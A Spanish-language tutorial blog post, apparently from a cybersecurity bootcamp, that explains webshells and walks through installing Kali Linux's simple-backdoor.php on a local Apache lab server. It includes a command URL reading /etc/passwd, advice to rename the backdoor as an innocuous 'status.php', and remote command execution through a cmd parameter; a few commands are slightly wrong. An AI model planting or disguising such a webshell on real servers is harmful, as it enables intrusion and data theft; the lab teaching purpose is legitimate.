¿Qué es una webshell?

Autor: | Última modificación: 30 de junio de 2023 | Tiempo de Lectura: 5 minutos
Temas en este post: ,

Algunos de nuestros reconocimientos:

Premios KeepCoding

¿Sabes qué es una webshell y para qué se utiliza en ciberseguridad?

El pentesting web es una rama de la ciberseguridad que se enfoca en el hacking de aplicaciones web. Para ello, se utilizan diferentes técnicas y herramientas, que se basan en descubrir y explotar fallos de seguridad en las páginas. Estas prácticas son algunos de los servicios más demandados en el campo de la seguridad informática, debido al gran número de páginas web que existen actualmente y su alto nivel de importancia.

Existen diferentes métodos para hackear una aplicación web. Todo depende de las vulnerabilidades informática que se hallen en su estructura. Algunos fallos de seguridad comunes permiten el robo de información sensible o, incluso, le ejecución de código dentro de la aplicación.

En este post, hablaremos sobre una herramienta de hacking web que permite programar y ejecutar código en una aplicación sin la autorización de sus administradores. El siguiente contenido está hecho con fines educativos y su propósito es el de ayudar a mejorar la seguridad de los sistemas. A continuación, te enseñaremos qué es una webshell y cómo se utiliza para simular ciberataques en aplicaciones web.

¿Qué es una webshell?

Una webshell es un código capaz de interpretar la información de un servidor web, que le permite a un atacante tomar el control de este. En otras palabras, es una pequeña aplicación web que permite ejecutar tareas dentro del sitio comprometido, al igual que una terminal en un sistema operativo.

En pentesting de sistemas, se utiliza un tipo de payload, llamado shellcode, que sirve para hacer ejecución remota de código en un ordenador vulnerable. Una webshell es un sistema similar, que se especializa en la ejecución de tareas en aplicaciones web. De este modo, se pueden realizar todo tipo de acciones maliciosas y de sabotaje allí.

El sistema operativo para investigadores de seguridad informática Kali Linux cuenta con seis directorios de webshells y catorce herramientas de este tipo en total. Para encontrarlas, instala este sistema operativo (en una máquina virtual preferiblemente) y dirígete, desde una terminal de la consola, al directorio:

usr/share/webshells

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

En este directorio encontrarás seis carpetas con webshells para:

  • ASP (Active Server Pages).
  • ASPX (Extensión de archivo de ASP).
  • CFM (Extensión de archivo de CFML, es decir, ColdFusion Markup Language).
  • JSP (JavaServer Pages).
  • Lenguaje de programación Perl.
  • Lenguaje de programación PHP.

¿Para qué sirve una webshell?

Ya hemos visto qué es una webshell y dónde encontrar este tipo de herramientas en un sistema operativo Kali Linux. Ahora, veremos cuáles son las funciones de una aplicación de pentesting web como esta:

  • Acceso persistente al sistema.
  • Subir y descargar archivos a la aplicación.
  • Robo de información sensible de la aplicación.
  • Acceso remoto al servidor de la página.
  • Ataques DDOS (de denegación de servicio).

¿Cómo ejecutar una webshell?

Lo primero que debes hacer para realizar este ejercicio es crear una máquina virtual con sistema operativo Kali Linux. Para ello, puedes seleccionar tu software de virtualización de preferencia. Algunas opciones populares son VMware, VirtualBox y KVM.

Después de haber creado tu máquina virtual, podemos comenzar con el proceso de cómo ejecutar una webshell con Kali Linux.

Arranca el servidor

Para arrancar un servidor con el sistema de Kali, utiliza el comando:

service apache2 start

Si no lo tienes instalado aún, utiliza:

apt install apache 2

Si el programa te pide actualizarlo, ejecuta:

apt update

Ahora, si deseas probar que el servidor esté funcionando correctamente, usa el comando:

service apache2 status

Entra al servidor

El siguiente paso para ejecutar nuestra webshell es acceder al servidor desde un navegador. Para ello, abre tu navegador de preferencia y accede a la dirección IP de tu máquina de Kali. Si aún no conoces tu dirección IP, puedes averiguarla al ejecutar el siguiente comando en una terminal:

ipconfig

Selecciona tu webshell

Al aprender cómo ejecutar una webshell, verás que Kali Linux ofrece una variedad de herramientas para atacar diferentes tipos de servidores. Dado que Apache 2 utiliza el lenguaje de programación PHP, para este ejemplo elegiremos una webshell escrita en este lenguaje.

Para ver todas las webshells disponibles en Kali Linux, dirígete al directorio:

usr/share/webshells

Para ver las opciones de webshells en PHP, ingresa a:

usr/share/webshells/php

Para seleccionar la webshell simple.backdoor.php, ejecutaremos el comando:

cat simple.backdoor.php

De ese modo, veremos el contenido del código fuente de la webshell, que es bastante pequeño. Para usar esta webshell, debemos acceder al dominio de la misma, que tendrá la siguiente estructura:

http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

Para poner a funcionar esta webshell, debemos copiarlo en el servidor de Apache 2 que creamos. Este se encontrará, por defecto, en la ruta «var/www/html«. Para copiar la webshell allí, usaremos el comando:

cp simple-backdoor.php /var/www/html/nombre_de_la_webshell.php

Para el nombre de la webshell, no podemos escoger algo obvio. Para ser más realistas, te recomendamos elegir un término con algo de disimulo, por ejemplo, «status.php«:

cp simple-backdoor.php /var/www/html/status.php

Ejecuta comandos con la webshell

El último paso de cómo ejecutar una webshell con Kali Linux es el de enviar comandos de manera remota a la aplicación. Para ello, desde tu navegador, accede al servidor de Apache 2 ingresando la dirección IP de tu máquina en un navegador. Si, por ejemplo, la dirección IP de tu máquina de Kali fuese 192.168.172.138, ingresarías del siguiente modo al servidor como atacante:

http://192.168.172.138

Para ejecutar códigos de forma remota en el servidor, utiliza la siguiente estructura:

http://192.168.172.138/status.php?cmd=comando

Reemplaza el valor «comando» por cualquier comando de Linux que desees ejecutar en el servidor y, de este modo, podrás utilizar la webshell que has creado.

Por ejemplo, para ejecutar el comando «ipconfig», en este ejemplo, ingresaríamos a la dirección URL:

http://192.168.172.138/status.php?cmd=ipconfig

Así, el servidor nos arrojaría información sobre su dirección IP.

Más herramientas de pentesting web

Aprender qué es una webshell y cómo utilizarla es esencial para el pentesting de aplicaciones web, ya que suelen utilizarse en ciberataques reales. Sin embargo, no es la única técnica de ataque que se utiliza en este tipo de tests de intrusión.

A continuación, veremos otras herramientas de pentesting web que debes añadir a tu arsenal, al igual que las webshells:

  • Entornos de práctica: algunas aplicaciones web han sido diseñadas con vulnerabilidades de forma intencionada, con el fin de que los pentesters practiquen sus habilidades. Si quieres perfeccionar tus técnicas, utilizar webshells y entender a fondo los principales fallos de seguridad en aplicaciones web, usa entornos como:
    • WebGoat.
    • DVWA.
    • DVNA.
  • Proxy HTTP: los ciberataques de intermediario o man in the middle también suelen ser bastante comunes. Para simularlos, existen aplicaciones llamadas proxies HTTP, que permiten interceptar, modificar, aceptar o rechazar cada petición/respuesta hecha por un cliente/servidor. Para entender en profundidad cómo funcionan estos ataques, esta herramienta será ideal.
  • Netcat: es una herramienta de la línea de comandos, es decir, se ejecuta desde la consola del sistema operativo. Viene preinstalada en Kali Linux y se ejecuta con el comando «nc». Esta herramienta permite conectarse con un servidor HTTP sin tener que usar un navegador y ver todas sus interacciones en RAW, es decir, en lenguaje HTML.

¿Cómo aprender más?

Ahora sabes qué es una webshell, para qué se utiliza en pentesting de aplicaciones web y qué otras herramientas debes aprender para esta práctica. Si quieres aprender más sobre hacking web, ingresa a nuestro Ciberseguridad Full Stack Bootcamp y conviértete en un especialista en menos de 7 meses. Aprende en clases en vivo con los mejores expertos en el sector sobre temas como pentesting, criptografía, análisis de malware y muchos otros. ¡Pide más información y cambia tu vida!

[email protected]

La IA no te quitará el trabajo, lo hará quien sepa usarla

Conviértete en experto en seguridad informática con el único Bootcamp que además te formará en Inteligencia Artificial Generativa para potenciar tu perfil.